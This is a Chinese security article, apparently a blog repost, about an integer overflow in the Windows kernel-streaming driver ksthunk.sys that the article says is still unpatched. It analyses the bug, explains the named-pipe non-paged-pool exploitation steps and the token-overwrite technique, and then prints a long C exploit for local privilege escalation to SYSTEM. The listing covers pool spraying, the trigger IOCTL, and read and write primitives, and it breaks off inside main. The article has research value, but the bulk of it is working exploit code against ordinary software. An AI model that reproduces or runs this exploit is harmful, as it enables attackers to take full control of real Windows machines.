仍未出补丁,Windows新的PE漏洞及完整利用代码

仍未出补丁,Windows新的PE漏洞及完整利用代码

二进制空间安全 2024-11-29 03:34

part1

点击上方
蓝字关注我们

往期推荐

解密还原被BitLocker加密的数据

MySQL渗透实战

比netcat更高级的网络渗透基础工具

黑客渗透超级管理终端

一款超乎想象的Windows提权工具

世界顶级渗透测试标准方法

Nmap的三种漏洞扫描模式原理及实战讲解

Windows下24种进程注入方法模板

黑客在Windows系统下提权的8种主要姿势

EDR联动数据包封锁技术

将二进制空间安全设为”星标⭐️”

第一时间收到文章更新

摘要

在 ksthunk.sys 的CKSAutomationThunk::ThunkEnableEventIrp
中存在一个整数溢出漏洞,本地攻击者可以利用该漏洞提升在 Windows 操作系统中的权限。在 TyphoonPWN 2024 活动中,成功展示了该漏洞的利用,并获得了第二名。经过数月等待,厂商告知该漏洞为重复漏洞,且已修复(但未说明具体修复时间)。然而,当在最新版本的 Windows 11 上测试时,该漏洞依然有效。厂商未提供 CVE 编号或补丁信息。

技术分析

该漏洞影响版本: Windows 11 23H2

ksthunk.sys 是用于内核流服务的 WOW 处理程序,其目的是确保 32 位进程在 64 位系统上正确运行。其中,当 IOCTL 编号为 0x2F0007 时,会调用 CKSAutomationThunk::ThunkEnableEventIrp。其工作流程如下:

// Only Called when the calling process is 32bit.
__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 a1, PIRP a2, __int64 a3, int *a4)
{
  ...
  inbuflen = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
  outbuflen = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
  // [1]. Align the length of output buffer
  outlen_adjust = (outbuflen + 0x17) & 0xFFFFFFF8;
  if ( a2->AssociatedIrp.MasterIrp )
    return 1i64;

  if ( (unsigned int)inbuflen < 0x18 )
    ExRaiseStatus(-1073741306);

  ProbeForRead(CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer, inbuflen, 1u);
  if ( (*((_DWORD *)CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer + 5) & 0xEFFFFFFF) == 1
    || (*((_DWORD *)CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer + 5) & 0xEFFFFFFF) == 2
    || (*((_DWORD *)CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer + 5) & 0xEFFFFFFF) == 4 )
  {
    // [2]. Validate the Length
    if ( (unsigned int)outbuflen < 0x10 )
      ExRaiseStatus(-1073741306);
    if ( outlen_adjust < (int)outbuflen + 16 || outlen_adjust + (unsigned int)inbuflen < outlen_adjust )
      ExRaiseStatus(-1073741306);

    // [3]. Allocate the buffer to store the data
    // 0x61 == POOL_FLAG_USE_QUOTA | POOL_FLAG_RAISE_ON_FAILURE POOL_FLAG_NON_PAGED
    a2->AssociatedIrp.MasterIrp = (struct _IRP *)ExAllocatePool2(
                                                   0x61i64,
                                                   outlen_adjust + (unsigned int)inbuflen,
                                                   1886409547i64);
    a2->Flags |= 0x30u;
    ProbeForRead(a2->UserBuffer, outbuflen, 1u); // [*] 
    data = (__int64)a2->AssociatedIrp.MasterIrp;
    ...
    // [4]. Copy the Data
    if ( (unsigned int)outbuflen > 0x10 )
      memmove((void *)(data + 0x20), (char *)a2->UserBuffer + 16, outbuflen - 16);
    memmove(
      (char *)a2->AssociatedIrp.MasterIrp + outlen_adjust,
      CurrentStackLocation->Parameters.FileSystemControl.Type3InputBuffer,
      inbuflen);
    ...
}

CKSAutomationThunk::ThunkEnableEventIrp 为 64 位系统正确保存输入和输出数据分配了一个新缓冲区。在 [1] 处,通过计算 (outbuflen + 0x17) & 0xFFFFFFF8 来调整输出缓冲区的对齐方式,从而得到 outlen_adjust。在 [2] 处,对某些长度进行了一些验证后,在 [3] 处分配了大小为 outlen_adjust + inbuflen 的缓冲区。最后,在 [4] 处将数据复制到该缓冲区中。

然而,在 [1] 处,计算 outbuflen + 0x17 时没有进行整数溢出验证。因此,outlen_adjust 可能被设置为较小的值,这导致在 [2] 处分配了较小的缓冲区大小。最终,在 [4] 处复制数据时会发生堆溢出。

成功利用该漏洞面临两个困难点:

首先,ProbeForRead(a2->UserBuffer, outbuflen, 1u) 会检查 a2->UserBuffer 的大小是否为 outbuflen。要制造整数溢出,outbuflen 必须大于 0xFFFFFFE9。在 32 位程序中,我们无法分配如此大的内存空间。然而,ProbeForRead 的实现并不会检查缓冲区的大小,它只检查地址。

VOID ProbeForRead(ULONG_PTR Address, SIZE_T Length, ULONG Alignment) {
  if ((Length) != 0) {
    if ( (Address & (Alignment - 1)) != 0) {
      ExRaiseDatatypeMisalignment();
    }
    if ( (Address + Length - 1) < Address || (Address + Length - 1) > MM_USER_PROBE_ADDRESS) {
      ExRaiseAccessViolation(); 
    }
  }
}

如上所示,ProbeForRead 只会检查地址的结束是否超出 MM_USER_PROBE_ADDRESS。由于地址被视为 ULONG_PTR(64 位),我们可以在不映射内存的情况下绕过 ProbeForRead(a2->UserBuffer, outbuflen, 1u)。

其次,在 [4] 处,数据的复制大小为 outbuflen – 16。正如之前提到的,由于 outbuflen 必须大于 0xFFFFFFE9,这一复制过程很可能导致崩溃。但通过利用用户内存故障异常,我们可以避免崩溃并按所需大小进行复制。如果发生用户内存故障异常,执行将停止并仅返回一个错误。因此,我们可以将内存布局设计如下所示。

a2->UserBuffer
+======================================
| ...... Buffer ....... | Unmapped Memory
+======================================
 ---------------------->| Copying until here
Kernel Memory
+======================================
| Allocated Mem | Next Memory ... | 
+======================================

在复制数据时,当遇到未映射的内存时会发生用户内存故障异常。因此,复制过程将在预期的位置停止。

漏洞利用过程

缓冲区溢出发生在非分页池(Non-paged pool)中,我们可以利用命名管道(Named-pipe)技术进行漏洞利用。此外,由于分配大小和数据完全可被攻击者控制,因此漏洞利用难度不高。

在构造我的漏洞利用时,参考了该文档:
https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/tree/master
。漏洞利用步骤如下:

1.喷射大小为 0x1000 的命名管道对象,并在它们之间制造一个间隙。较大的池(如大池 Large Pool)相比 LFH(低碎片堆)或 VS(虚拟分配池)在创建漏洞利用时更稳定。

2.触发 OOB(越界)漏洞。此操作会覆盖相邻的命名管道,其内存布局如下所示:

DATA_QUEUE_ENTRY:
 NextEntry=whatever;
 Irp=ideally 0;
 SecurityContext=ideally 0;
 EntryType=0;
 QuotaInEntry=ideally 0; //mostly irrelevent in case we use the peek operation
 DataSize=something bigger than the original size;
 x=whatever;

3.利用被破坏的命名管道揭露相邻命名管道的数据。从这些信息中,我们可以获取池的内存地址。

4.再次触发 OOB 漏洞,构造任意读(arbitrary read)原语。被破坏的命名管道的内存布局如下:

(
https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/tree/master?tab=readme-ov-file#complete-control-over-the-overflow-data
)

DATA_QUEUE_ENTRY:
 NextEntry=whatever;
 Irp=Forged IRP Address;
 SecurityContext=ideally 0;
 EntryType=1;
 QuotaInEntry=ideally 0;
 DataSize=arbitrary read size;
 x=whatever;
IRP->SystemBuffer = arbitrary read address

5.通过调用 NtFsControlFile 将 IRP 包插入到命名管道中:

NtFsControlFile(pipe, 0, 0, 0, &isb, 0x119FF8, buffer, 0x1000, 0, 0);

然后,通过步骤 3 中泄露的数据获取 IRP 的地址。

6.使用任意读原语获取系统令牌地址, 如下所示:

CurThread_Irp = *(IRP + 0x20)
CurProcess = *(CurThread - IrpListOffset + ProcessOffset)
SystemProcess = Search active process list on CurProcess
SystemToken = *(SystemProcess + TokenOffset)

7.再次触发 OOB 漏洞,构造任意写(arbitrary write)原语。由于 vp777 文档中的技术在程序退出后可能会导致崩溃或系统假死,这里采用了其他技术实现任意写(在后文详细解释)。

8.将当前进程的令牌覆盖为 SYSTEM 令牌。

9.利用步骤 3 中泄露的数据还原被破坏的命名管道数据。

10.获得系统权限并享受管理员特权。

任意写入

为了利用漏洞,可以利用 nt!IopfCompleteRequest 代码,其具体实现如下所示:

...
  flags = irp->Flags;
  if ( (flags & 0x402) != 0 )
  {
    if ( (flags & 0x440) == 0 )
    {
      IopDequeueIrpFromThread(irp);
      KeInitializeApc(
        (_DWORD)Irp + 120,
        (int)Irp->Tail.Overlay.Thread,
        Irp->ApcEnvironment,
        (int)IopCompletePageWrite,
        0i64,
        0i64,
        0,
        0i64);
      KeInsertQueueApc(&Irp->Tail, 0i64, 0i64, v27);
      return;
    }
    *irp->UserIosb = irp->IoStatus; // [*], copying 16bytes.
    v56 = flags & 0x42;
    if ( !v56 )
      goto Set_Event_Return;

通过该漏洞,IRP 的数据可以完全被控制。因此,在代码中的 [*] 处,我们可以通过将 irp->UserIosb 设置为目标地址,并将 irp->IoStatus 设置为目标值,构造任意写原语。这条指令会复制结构体 _IO_STATUS_BLOCK(占用 16 字节)。

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    } DUMMYUNIONNAME;
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

然而,在到达该点之前,IoStatus 的值已经发生了变化。以下代码展示了 IoStatus 的变化:

...
  if ( QueueEntry->EntryType >= 2 ){
    irp = NpRemoveDataQueueEntry((DATA_QUEUE_ENTRY **)a2, 0, a9);
    if ( irp )
    {
      irp->IoStatus.Status = 0; // only Status set to zero
      v45 = &irp->Tail.Overlay.ListEntry;
      v46 = a9->Blink;
      if ( v46->Flink != a9 )
        goto LABEL_110;
      v45->Flink = a9;
      v45->Blink = v46;
      v46->Flink = v45;
      a9->Blink = v45;
    }
    ...
  }
  ...

如果命名管道条目的 EntryType 大于 2,则该条目会被 NpRemoveDataQueueEntry 移除,因为该条目无效。移除条目后,irp->IoStatus.Status 被设置为 0。然而,IoStatus.Information 并不会改变。因此,可以利用这一特性构造(部分的)任意写原语。

+0x468 CreateTime : _LARGE_INTEGER
+0x470 ProcessQuotaUsage : [2] Uint8B
+0x480 ProcessQuotaPeak : [2] Uint8B
+0x490 PeakVirtualSize : Uint8B
+0x498 VirtualSize : Uint8B
+0x4a0 SessionProcessLinks : _LIST_ENTRY
+0x4b0 ExceptionPortData : Ptr64 Void // Is it ok if it is overwritten to zero?
+0x4b0 ExceptionPortValue : Uint8B // Is it ok if it is overwritten to zero?
+0x4b0 ExceptionPortState : Pos 0, 3 Bits // Is it ok if it is overwritten to zero?
+0x4b8 Token : _EX_FAST_REF // Target Field
+0x4c0 MmReserved : Uint8B
+0x4c8 AddressCreationLock : _EX_PUSH_LOCK
+0x4d0 PageTableCommitmentLock : _EX_PUSH_LOCK

幸运的是,如果 ExceptionPortData/ExceptionPortValue(位于 Token 之前的字段)被清零,不会引发问题。因此,可以利用此原语,将当前进程的令牌覆盖为 SYSTEM 令牌,从而获得系统权限。

完整利用代码

#include <Windows.h>
#include <winternl.h>
#include <winnt.h>
#include <stdio.h>
#include <cfgmgr32.h>

#pragma comment(lib, "Cfgmgr32.lib")

#define DATA_ENTRY_HEADER_SIZE 0x30
#define ENTRY_DATASIZE(x)((x) - DATA_ENTRY_HEADER_SIZE)

/* IRP for 64bitnt!_IRP   +0x000 Type : Int2B   +0x002 Size : Uint2B   +0x004 AllocationProcessorNumber : Uint2B   +0x006 Reserved : Uint2B   +0x008 MdlAddress : Ptr64 _MDL   +0x010 Flags : Uint4B   +0x018 AssociatedIrp : <unnamed-tag>   +0x020 ThreadListEntry : _LIST_ENTRY   +0x030 IoStatus : _IO_STATUS_BLOCK   +0x040 RequestorMode : Char   +0x041 PendingReturned : UChar   +0x042 StackCount : Char   +0x043 CurrentLocation : Char   +0x044 Cancel : UChar   +0x045 CancelIrql : UChar   +0x046 ApcEnvironment : Char   +0x047 AllocationFlags : UChar   +0x048 UserIosb : Ptr64 _IO_STATUS_BLOCK   +0x048 IoRingContext : Ptr64 Void   +0x050 UserEvent : Ptr64 _KEVENT   +0x058 Overlay : <unnamed-tag>   +0x068 CancelRoutine : Ptr64 void   +0x070 UserBuffer : Ptr64 Void   +0x078 Tail : <unnamed-tag>*/
#pragma pack(push, 8)
typedef struct {
  SHORT Type;
  USHORT Size;
  USHORT AllocationProcessorNumber;
  PVOID64 MdlAddress;
  ULONG Flags;

  PVOID64 AssociatedIrp;
  LIST_ENTRY64 ThreadListEntry;

  union {
    NTSTATUS Status;
    PVOID64 Pointer;
  }
  IoStatus;
  PVOID64 Information;

  CHAR RequestorMode;
  BOOLEAN PendingReturned;
  CHAR StackCount;
  CHAR CurrentLocation;
  BOOLEAN Cancel;
  UCHAR CancelIrql;
  CCHAR ApcEnvironment;
  UCHAR AllocationFlags;

  PVOID64 UserIosb;
  PVOID64 UserEvent;
  char Overlay[16];
  PVOID64 CancelRoutine;
  PVOID64 UserBuffer;
  CHAR TailIsWrong;
}
IRP;
#pragma pack(pop)

typedef void(IO_APC_ROUTINE)(  void * ApcContext,  IO_STATUS_BLOCK * IoStatusBlock,  unsigned long reserved);

typedef int(__stdcall * NTFSCONTROLFILE)(  HANDLE fileHandle,  HANDLE event,  IO_APC_ROUTINE * apcRoutine,  void * ApcContext,  IO_STATUS_BLOCK * ioStatusBlock,  unsigned long FsControlCode,  void * InputBuffer,  unsigned long InputBufferLength,  void * OutputBuffer,  unsigned long OutputBufferLength);

typedef NTSTATUS( * pNtWow64WriteVirtualMemory64)(  HANDLE ProcessHandle,  unsigned __int64 BaseAddress,  void * Buffer,  unsigned __int64 Size,  unsigned __int64 * NumberOfBytesWritten);

typedef struct {
  HANDLE r;
  HANDLE w;
}
PIPE_HANDLES;

#define PIPESIZE 0x1000
PIPE_HANDLES pipes[PIPESIZE];
PIPE_HANDLES holder;

void CreateSprayPipe(PIPE_HANDLES * ph, DWORD quota = -1) {
  ph -> w = CreateNamedPipe(
    L "\\\\.\\pipe\\exploit_test",
    PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
    PIPE_TYPE_BYTE | PIPE_WAIT,
    PIPE_UNLIMITED_INSTANCES,
    quota,
    quota,
    0,
    0);
  ph -> r = CreateFile(L "\\\\.\\pipe\\exploit_test", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
}
void WriteDataEntry(PIPE_HANDLES ph, PVOID WriteData, DWORD32 len) {
  WriteFile(ph.w,
    WriteData,
    ENTRY_DATASIZE(len),
    NULL,
    NULL);
}

void ReadDataEntry(PIPE_HANDLES ph, PVOID ReadBuffer, DWORD32 len) {
  ReadFile(ph.r,
    ReadBuffer,
    ENTRY_DATASIZE(len),
    NULL,
    NULL);
}

#define MARKER 0x9999999988888888
DWORD64 readthis = MARKER;
IRP fakeirp;
IRP * fakeirp_w;
BYTE fakeevent[0x80];
DWORD64 dummyvalue;

#define inputsize 0x1000 // >0x18, Allocation Size, Copy From +0x20
#define outputsize 0x1060 // Copy size-0x10, Should Copy by 0x40
LPBYTE inbuffer;
LPBYTE outbuffer;

DWORD64 flink = 0; // Used for Recovering
DWORD64 blink = 0; // Used for Recovering
DWORD64 thread_list[2];

DWORD overflowidx = 0;

void setupaar(LPBYTE buffer, DWORD64 readaddr = (DWORD64) & readthis, DWORD size = 0x8) {
  fakeirp.AssociatedIrp = (PVOID64) readaddr;
  // Setup Overflow Data
  *(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
  *(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
  *(DWORD64 * )(buffer + 0x10) = (DWORD64) & fakeirp; // IRP
  *(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
  *(DWORD * )(buffer + 0x20) = (DWORD) 1; // Entry Type
  *(DWORD * )(buffer + 0x24) = (DWORD) 0; // QuotaEntry
  *(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
  *(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}

void setupoobread(LPBYTE buffer, DWORD size) {
  // Setup Overflow Data
  *(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
  *(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
  *(DWORD64 * )(buffer + 0x10) = (DWORD64) 0; // IRP
  *(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
  *(DWORD * )(buffer + 0x20) = (DWORD) 0; // Entry Type
  *(DWORD * )(buffer + 0x24) = (DWORD) 0; // QuotaEntry
  *(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
  *(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}

void setuprecoverdata(LPBYTE buffer, DWORD size) {
  // Setup Overflow Data
  *(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
  *(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
  *(DWORD64 * )(buffer + 0x10) = (DWORD64) 0; // IRP
  *(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
  *(DWORD * )(buffer + 0x20) = (DWORD) 0; // Entry Type
  *(DWORD * )(buffer + 0x24) = (DWORD) size; // QuotaEntry
  *(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
  *(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}

void setuparw(LPBYTE buffer, DWORD64 dstaddr, DWORD64 * value, DWORD size = 0x10) {
  #define IRP_BUFFERED_IO 0x00000010
  #define IRP_DEALLOCATE_BUFFER 0x00000020
  #define IRP_INPUT_OPERATION 0x00000040
  // Setup Overflow Data
  fakeirp_w -> Flags = 0x0060400;
  fakeirp_w -> CurrentLocation = fakeirp_w -> StackCount + 1;
  fakeirp_w -> UserIosb = (PVOID64) dstaddr;
  memcpy((void * ) & fakeirp_w -> IoStatus, value, 0x10);
  //fakeirp_w->CancelRoutine = NULL;

  fakeirp_w -> UserEvent = (PVOID64) fakeevent;
  *(DWORD * )(fakeevent + 4) = 1; // Set State

  /*  fakeirp_w->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;  fakeirp_w->Flags &= ~IRP_DEALLOCATE_BUFFER;  fakeirp_w->AssociatedIrp = (PVOID64)srcaddr; // src  fakeirp_w->UserBuffer = (PVOID64)dstaddr; // dst  fakeirp_w->ThreadListEntry.Flink = (ULONGLONG)(thread_list);  fakeirp_w->ThreadListEntry.Blink = (ULONGLONG)(thread_list);  thread_list[0] = thread_list[1] = (DWORD64)((LPBYTE)fakeirp_w + offsetof(IRP, ThreadListEntry.Flink));  */

  *(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
  *(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
  *(DWORD64 * )(buffer + 0x10) = (DWORD64) fakeirp_w; // IRP
  *(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
  *(DWORD * )(buffer + 0x20) = (DWORD) 2; // Entry Type
  *(DWORD * )(buffer + 0x24) = (DWORD) size - 1; // QuotaEntry
  *(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
  *(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}

void setupbug(LPBYTE buffer, DWORD64 bugaddr, DWORD size = 0xfc0) {

  *(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
  *(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
  *(DWORD64 * )(buffer + 0x10) = (DWORD64) bugaddr; // IRP
  *(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
  *(DWORD * )(buffer + 0x20) = (DWORD) 2; // Entry Type
  *(DWORD * )(buffer + 0x24) = (DWORD) size; // QuotaEntry
  *(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
  *(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}

DWORD64 readQWORD(DWORD64 addr) {
  DWORD64 readdata;
  DWORD read;
  fakeirp.AssociatedIrp = (PVOID64)(addr);
  PeekNamedPipe(pipes[overflowidx].r, & readdata, 8, & read, NULL, NULL);
  return readdata;
}

void writeQWORD(DWORD64 addr, DWORD64 value) {
  DWORD64 writedata = value;
  DWORD read;
  fakeirp_w -> AssociatedIrp = (PVOID64)( & writedata);
  fakeirp_w -> UserBuffer = (PVOID64)(addr);
  fakeirp_w -> ThreadListEntry.Flink = (ULONGLONG)(thread_list);
  fakeirp_w -> ThreadListEntry.Blink = (ULONGLONG)(thread_list);
  thread_list[0] = thread_list[1] = (DWORD64)((LPBYTE) fakeirp_w + offsetof(IRP, ThreadListEntry.Flink));

  ReadFile(pipes[overflowidx].r, & dummyvalue, 0x1, & read, 0);
}

/*********  Define Offset Area*******/

// From _EPROCESS
// #define UNIQUEPROCESSIDOFFSET 0x440
// #define ACTIVEPROCESSLINTOFFSET 0x448
// #define TOKENOFFSET 0x4b8
// #define ThreadListHeadOffset 0x5e0

// From _ETHREAD
// Win11
//#define ThreadListEntryOffset 0x538
//#define CIDOffset 0x4c8

// Windows Server 2022
//#define ThreadListEntryOffset 0x538
//#define CIDOffset 0x4c8

// Win10
//#define ThreadListEntryOffset 0x4e8
//#define CIDOffset 0x478

ULONG UNIQUEPROCESSIDOFFSET;
ULONG ACTIVEPROCESSLINTOFFSET;
ULONG TOKENOFFSET;
//ULONG ThreadListHeadOffset;

//ULONG ThreadListEntryOffset;
//ULONG CIDOffset;
ULONG ProcessOffset;
ULONG IrpListOffset;

// FROM _FILE_OBJECT, _DEVICE_OBJECT, _DRIVER_OBJECT
#define DEVICE_OBJECT_OFFSET 0x8
#define DRIVER_OBJECT_OFFSET 0x8
#define DRIVER_START_OFFSET 0x18

// Update by PE parsing
ULONG RtlQueryRegistryValuesEx_Offset;
ULONG PsInitialSystemProcess_Offset;
ULONG IAT_RtlQueryRegistryValuesEx_Offset;

//----------------------------------

VOID CheckVersion() {
  HMODULE hDll = LoadLibrary(TEXT("Ntdll.dll"));
  typedef NTSTATUS(CALLBACK * RTLGETVERSION)(PRTL_OSVERSIONINFOW lpVersionInformation);
  RTLGETVERSION pRtlGetVersion;
  pRtlGetVersion = (RTLGETVERSION) GetProcAddress(hDll, "RtlGetVersion");
  if (pRtlGetVersion) {
    RTL_OSVERSIONINFOW ovi = {
      0
    };
    ovi.dwOSVersionInfoSize = sizeof(ovi);
    NTSTATUS ntStatus = pRtlGetVersion( & ovi);
    if (ntStatus == 0) {
      printf("[*] Version : %d\n", ovi.dwBuildNumber);
      if (ovi.dwBuildNumber > 26000) {
        // Win11 24H2 ??
        UNIQUEPROCESSIDOFFSET = 0x1D0;
        ACTIVEPROCESSLINTOFFSET = 0x1D8;
        TOKENOFFSET = 0x248;
        //ThreadListHeadOffset = 0x370;
        //ThreadListEntryOffset = 0x578;
        //CIDOffset = 0x508;
        ProcessOffset = 0x220;
        IrpListOffset = 0x540;
      } else if (ovi.dwBuildNumber > 22000) {
        // Win11 23H2 ??
        UNIQUEPROCESSIDOFFSET = 0x440;
        ACTIVEPROCESSLINTOFFSET = 0x448;
        TOKENOFFSET = 0x4b8;
        //ThreadListHeadOffset = 0x5e0;
        //ThreadListEntryOffset = 0x538;
        //CIDOffset = 0x4c8;
        ProcessOffset = 0x220;
        IrpListOffset = 0x500;
      } else if (ovi.dwBuildNumber <= 22000 && ovi.dwBuildNumber > 20000) {
        // Server 2022 ??
        UNIQUEPROCESSIDOFFSET = 0x440;
        ACTIVEPROCESSLINTOFFSET = 0x448;
        TOKENOFFSET = 0x4b8;
        //ThreadListHeadOffset = 0x5e0;
        //ThreadListEntryOffset = 0x538;
        //CIDOffset = 0x4c8;
        ProcessOffset = 0x220;
        IrpListOffset = 0x500;
      } else if (ovi.dwBuildNumber <= 20000 && ovi.dwBuildNumber > 19040) {
        // WIN 10, 1904X version 
        UNIQUEPROCESSIDOFFSET = 0x440;
        ACTIVEPROCESSLINTOFFSET = 0x448;
        TOKENOFFSET = 0x4b8;
        //ThreadListHeadOffset = 0x5e0;
        //ThreadListEntryOffset = 0x4e8;
        //CIDOffset = 0x478;
        ProcessOffset = 0x220;
        IrpListOffset = 0x4b0;
      } else {
        printf("Not Supported\n");
        exit(0);
      }
    }
  }
}

/********************  Exploit Helper START!!!!******************/

// Get EPROCESS for current process
ULONG64 PsGetProcessFromPid(DWORD64 pEPROCESS, DWORD pid) {
  LIST_ENTRY64 ActiveProcessLinks;

  ActiveProcessLinks.Flink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET));
  ActiveProcessLinks.Blink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET + 8));

  ULONG64 res = 0;

  while (TRUE) {
    ULONG64 UniqueProcessId = 0;

    // adjust EPROCESS pointer for next entry
    pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - ACTIVEPROCESSLINTOFFSET;
    // get pid
    UniqueProcessId = readQWORD((DWORD64)(pEPROCESS + UNIQUEPROCESSIDOFFSET));
    // is this our pid?
    if (pid == UniqueProcessId) {
      res = pEPROCESS;
      break;
    }
    // get next entry
    ActiveProcessLinks.Flink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET));
    ActiveProcessLinks.Blink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET + 8));
    // if next same as last, we reached the end
    if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - ACTIVEPROCESSLINTOFFSET)
      break;
  }
  return res;
}

/******************  Exploit Helper END!!!!*****************/

void trigger(HANDLE hDevice) {
  DWORD returnByte;

  //*(GUID*)(inbuffer + 0) = { 0x1d58c920, 0xac9b, 0x11cf, {0xa5, 0xd6, 0x28, 0xdb, 0x04, 0xc1, 0x00, 0x00} };
  *(DWORD64 * )(inbuffer + 0x10) = 0x400000000; // 1 or 2 or 4
  *(DWORD * ) outbuffer = 2; // 1 or 2

  DeviceIoControl(hDevice, 0x2F0007, inbuffer, inputsize, outbuffer, 0xfffffff0, & returnByte, NULL);
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      } else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      } else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main(int argc, char ** argv) {
  CheckVersion();
  NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE) GetProcAddress(LoadLibrary(L "ntdll.dll"), "NtFsControlFile");
  pNtWow64WriteVirtualMemory64 NtWow64WriteVirtualMemory64 = (pNtWow64WriteVirtualMemory64) GetProcAddress(GetModuleHandle(L "ntdll.dll"), "NtWow64WriteVirtualMemory64");

  DWORD targetpid = GetCurrentProcessId();
  if (targetpid == 0) {
    return 0;
  }

  // Pipes for Spraying
  for (int i = 0; i < PIPESIZE; i++) {
    CreateSprayPipe( & pipes[i]);
  }
  CreateSprayPipe( & holder);
  LPBYTE DummyBuffer = (LPBYTE) malloc(0x10000);
  memset(DummyBuffer, 0x77, 0x10000);

  inbuffer = (LPBYTE) malloc(inputsize);
  SIZE_T aligned_size = (outputsize + 0xFFF) & 0xFFFFFFFFFFFFF000;
  outbuffer = (LPBYTE) VirtualAlloc((LPVOID) 0x13370000, aligned_size, MEM_COMMIT | MEM_RESERVE, 0x40);
  outbuffer += (aligned_size - outputsize);

  LPBYTE overwrite_data_ptr = outbuffer + 0x1000 - 0x10;

  memset(inbuffer, 0, inputsize);
  memset(outbuffer, 0x41, outputsize);

  #define OOBSIZE 0x4000
  setupoobread(overwrite_data_ptr, OOBSIZE);

  // GUID DeviceGUID = { 0xcf1dda2c, 0x9743, 0x11d0, {0xa3, 0xee, 0x00, 0xa0, 0xc9, 0x22, 0x31, 0x96} };
  GUID DeviceGUID = {
    0x3c0d501a,
    0x140b,
    0x11d1,
    {
      0xb4,
      0x0f,
      0x00,
      0xa0,
      0xc9,
      0x22,
      0x31,
      0x96
    }
  };
  WCHAR DeviceLink[256] = {
    0,
  };
  CM_Get_Device_Interface_ListW( & DeviceGUID, NULL, DeviceLink, 256, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);

  HANDLE hDevice = CreateFile(
    DeviceLink,
    GENERIC_READ | GENERIC_WRITE,
    0,
    NULL,
    OPEN_EXISTING,
    0,
    NULL
  );

  printf("[*] hDevice : %p\n", hDevice);
  Sleep(200);
  /*    Create Memory Layout  */

  for (int i = 0; i < PIPESIZE; i++) {
    // size of ETHREAD structure is 0xa00
    WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
    WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
    WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
  }
  ReadDataEntry(pipes[PIPESIZE - 0x80], DummyBuffer, 0xff0);

  trigger(hDevice);
  // Before Start OOB, Holing the Free Space
  WriteDataEntry(holder, DummyBuffer, 0xff0);

  // Step1. OOB Check
  for (int i = 0; i < PIPESIZE; i++) {
    DWORD read = 0;
    PeekNamedPipe(pipes[i].r, DummyBuffer, OOBSIZE, & read, NULL, NULL);
    if (read > OOBSIZE - 0x100) {
      overflowidx = i;
      break;
    }
  }
  printf("[+] gotit : %p\n", overflowidx);
  if (overflowidx == 0) {
    exit(0);
  }

  blink = * (DWORD64 * )(DummyBuffer + 0xfd0);
  flink = * (DWORD64 * )(DummyBuffer + 0xfd8) + 0x1000;

  DWORD64 CCB = blink - 0xa8;
  printf("[*] blink : %llx, flink : %llx, CCB : %llx\n", blink, flink, CCB);

  // Setp2. ARR Setup
  setupaar(overwrite_data_ptr);
  // Release the Area
  ReadDataEntry(holder, DummyBuffer, 0xff0);
  trigger(hDevice);

  // Before Start ARR, Holing the Free Space
  WriteDataEntry(holder, DummyBuffer, 0xff0);

